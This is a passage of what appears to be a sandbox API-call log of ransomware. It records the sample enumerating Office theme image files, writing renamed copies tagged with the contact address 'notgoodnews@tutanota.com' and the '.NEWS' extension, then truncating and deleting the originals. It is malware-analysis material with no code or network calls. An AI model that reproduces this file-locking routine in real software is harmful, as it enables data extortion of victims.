(lpString1=".xls", lpString2=".PNG") returned 1 [0068.664] lstrlenW (lpString=".xlsx") returned 5 [0068.664] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0068.664] lstrlenW (lpString=".ppt") returned 4 [0068.664] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0068.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.664] lstrlenW (lpString=".zip") returned 4 [0068.664] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0068.664] lstrlenW (lpString=".rar") returned 4 [0068.665] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0068.665] lstrlenW (lpString=".bz2") returned 4 [0068.665] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0068.665] lstrlenW (lpString=".7z") returned 3 [0068.665] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0068.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.665] lstrlenW (lpString=".dbf") returned 4 [0068.665] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0068.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.665] lstrlenW (lpString=".1cd") returned 4 [0068.665] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0068.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0068.665] lstrlenW (lpString=".jpg") returned 4 [0068.665] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0068.665] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0068.665] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0068.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0068.666] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=2848) returned 1 [0068.666] CloseHandle (hObject=0x1cc) returned 1 [0068.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0068.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0068.670] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.670] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0068.677] GetLastError () returned 0x0 [0068.677] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0xb20, lpOverlapped=0x0) returned 1 [0068.680] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0068.682] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.682] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0068.682] SetEndOfFile (hFile=0x218) returned 1 [0068.682] CloseHandle (hObject=0x218) returned 1 [0068.683] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.683] SetEndOfFile (hFile=0x1cc) returned 1 [0068.684] CloseHandle (hObject=0x1cc) returned 1 [0068.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0068.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.685] lstrlenW (lpString=".doc") returned 4 [0068.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.685] lstrlenW (lpString=".docx") returned 5 [0068.685] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0068.685] lstrlenW (lpString=".pdf") returned 4 [0068.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.686] lstrlenW (lpString=".xls") returned 4 [0068.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.686] lstrlenW (lpString=".xlsx") returned 5 [0068.686] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0068.686] lstrlenW (lpString=".ppt") returned 4 [0068.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.686] lstrlenW (lpString=".zip") returned 4 [0068.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.686] lstrlenW (lpString=".rar") returned 4 [0068.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.686] lstrlenW (lpString=".bz2") returned 4 [0068.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.686] lstrlenW (lpString=".7z") returned 3 [0068.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.686] lstrlenW (lpString=".dbf") returned 4 [0068.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.686] lstrlenW (lpString=".1cd") returned 4 [0068.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.687] lstrlenW (lpString=".jpg") returned 4 [0068.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.687] lstrlenW (lpString=".doc") returned 4 [0068.687] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.687] lstrlenW (lpString=".docx") returned 5 [0068.687] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0068.687] lstrlenW (lpString=".pdf") returned 4 [0068.687] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.687] lstrlenW (lpString=".xls") returned 4 [0068.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.687] lstrlenW (lpString=".xlsx") returned 5 [0068.687] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0068.687] lstrlenW (lpString=".ppt") returned 4 [0068.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.687] lstrlenW (lpString=".zip") returned 4 [0068.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.687] lstrlenW (lpString=".rar") returned 4 [0068.688] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.688] lstrlenW (lpString=".bz2") returned 4 [0068.688] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.688] lstrlenW (lpString=".7z") returned 3 [0068.688] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.688] lstrlenW (lpString=".dbf") returned 4 [0068.688] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.688] lstrlenW (lpString=".1cd") returned 4 [0068.688] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0068.688] lstrlenW (lpString=".jpg") returned 4 [0068.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.688] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0068.689] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0068.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0068.689] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=34916) returned 1 [0068.689] CloseHandle (hObject=0x1cc) returned 1 [0068.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0068.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0068.689] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.690] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0068.690] GetLastError () returned 0x0 [0068.690] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x8864, lpOverlapped=0x0) returned 1 [0069.061] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.064] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.064] SetEndOfFile (hFile=0x218) returned 1 [0069.064] CloseHandle (hObject=0x218) returned 1 [0069.064] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.064] SetEndOfFile (hFile=0x1cc) returned 1 [0069.066] CloseHandle (hObject=0x1cc) returned 1 [0069.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0069.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.067] lstrlenW (lpString=".doc") returned 4 [0069.067] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.067] lstrlenW (lpString=".docx") returned 5 [0069.067] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.067] lstrlenW (lpString=".pdf") returned 4 [0069.067] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.067] lstrlenW (lpString=".xls") returned 4 [0069.067] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.067] lstrlenW (lpString=".xlsx") returned 5 [0069.067] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.067] lstrlenW (lpString=".ppt") returned 4 [0069.067] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.068] lstrlenW (lpString=".zip") returned 4 [0069.068] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.068] lstrlenW (lpString=".rar") returned 4 [0069.068] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.068] lstrlenW (lpString=".bz2") returned 4 [0069.068] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.068] lstrlenW (lpString=".7z") returned 3 [0069.068] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.068] lstrlenW (lpString=".dbf") returned 4 [0069.068] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.068] lstrlenW (lpString=".1cd") returned 4 [0069.068] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.068] lstrlenW (lpString=".jpg") returned 4 [0069.068] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.068] lstrlenW (lpString=".doc") returned 4 [0069.068] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.069] lstrlenW (lpString=".docx") returned 5 [0069.069] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.069] lstrlenW (lpString=".pdf") returned 4 [0069.069] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.069] lstrlenW (lpString=".xls") returned 4 [0069.069] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.069] lstrlenW (lpString=".xlsx") returned 5 [0069.069] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.069] lstrlenW (lpString=".ppt") returned 4 [0069.069] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.069] lstrlenW (lpString=".zip") returned 4 [0069.069] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.069] lstrlenW (lpString=".rar") returned 4 [0069.069] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.069] lstrlenW (lpString=".bz2") returned 4 [0069.069] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.069] lstrlenW (lpString=".7z") returned 3 [0069.069] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.069] lstrlenW (lpString=".dbf") returned 4 [0069.069] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.070] lstrlenW (lpString=".1cd") returned 4 [0069.070] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0069.070] lstrlenW (lpString=".jpg") returned 4 [0069.070] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.070] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0069.070] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0069.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.071] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1560) returned 1 [0069.071] CloseHandle (hObject=0x1cc) returned 1 [0069.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0069.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.071] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.071] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0069.564] GetLastError () returned 0x0 [0069.564] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x618, lpOverlapped=0x0) returned 1 [0069.567] WriteFile (in: hFile=0x214, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x620, lpOverlapped=0x0) returned 1 [0069.568] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.568] WriteFile (in: hFile=0x214, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0069.568] SetEndOfFile (hFile=0x214) returned 1 [0069.569] CloseHandle (hObject=0x214) returned 1 [0069.569] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.569] SetEndOfFile (hFile=0x1cc) returned 1 [0069.570] CloseHandle (hObject=0x1cc) returned 1 [0069.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.571] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0069.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.571] lstrlenW (lpString=".doc") returned 4 [0069.571] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.571] lstrlenW (lpString=".docx") returned 5 [0069.571] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.571] lstrlenW (lpString=".pdf") returned 4 [0069.571] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.572] lstrlenW (lpString=".xls") returned 4 [0069.572] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.572] lstrlenW (lpString=".xlsx") returned 5 [0069.572] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.572] lstrlenW (lpString=".ppt") returned 4 [0069.572] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.572] lstrlenW (lpString=".zip") returned 4 [0069.572] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.572] lstrlenW (lpString=".rar") returned 4 [0069.572] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.572] lstrlenW (lpString=".bz2") returned 4 [0069.572] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.572] lstrlenW (lpString=".7z") returned 3 [0069.572] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.572] lstrlenW (lpString=".dbf") returned 4 [0069.572] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.572] lstrlenW (lpString=".1cd") returned 4 [0069.572] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.573] lstrlenW (lpString=".jpg") returned 4 [0069.573] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.573] lstrlenW (lpString=".doc") returned 4 [0069.573] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.573] lstrlenW (lpString=".docx") returned 5 [0069.573] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.573] lstrlenW (lpString=".pdf") returned 4 [0069.573] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.573] lstrlenW (lpString=".xls") returned 4 [0069.573] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 